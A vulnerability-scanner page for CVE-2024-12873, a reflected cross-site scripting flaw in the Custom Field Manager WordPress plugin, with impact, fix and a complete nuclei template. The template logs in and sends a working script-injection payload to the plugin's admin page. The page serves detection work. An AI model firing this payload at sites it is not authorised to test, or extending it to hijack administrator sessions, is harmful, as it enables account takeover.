Custom Field Manager WordPress - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

Custom Field Manager WordPress plugin through 1.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.

Impact

Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.

Fix

Update to the latest version with proper sanitization and escaping.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=custom-field-manager-customfields&taxonomy=testxss%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "</script><script>alert(document.domain)</script><script>","custom-field-manager")

Run it with nuclei: nuclei -id CVE-2024-12873 -u <target>

The full check

id: CVE-2024-12873

info:
  name: Custom Field Manager WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Custom Field Manager WordPress plugin through 1.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
  remediation: |
    Update to the latest version with proper sanitization and escaping.
  reference:
    - https://wpscan.com/vulnerability/3e82d45f-7b8f-424e-a8d7-be64f5acf65e/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12873
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-12873
    cwe-id: CWE-79
    epss-score: 0.00589
    epss-percentile: 0.48493
    cpe: cpe:2.3:a:f1logic:custom_field_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: f1logic
    product: custom_field_manager
  tags: cve,cve2024,f1logic,custom-field-manager,authenticated,wordpress,wp,wp-plugin,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=custom-field-manager-customfields&taxonomy=testxss%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - contains_all(body, "</script><script>alert(document.domain)</script><script>","custom-field-manager")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from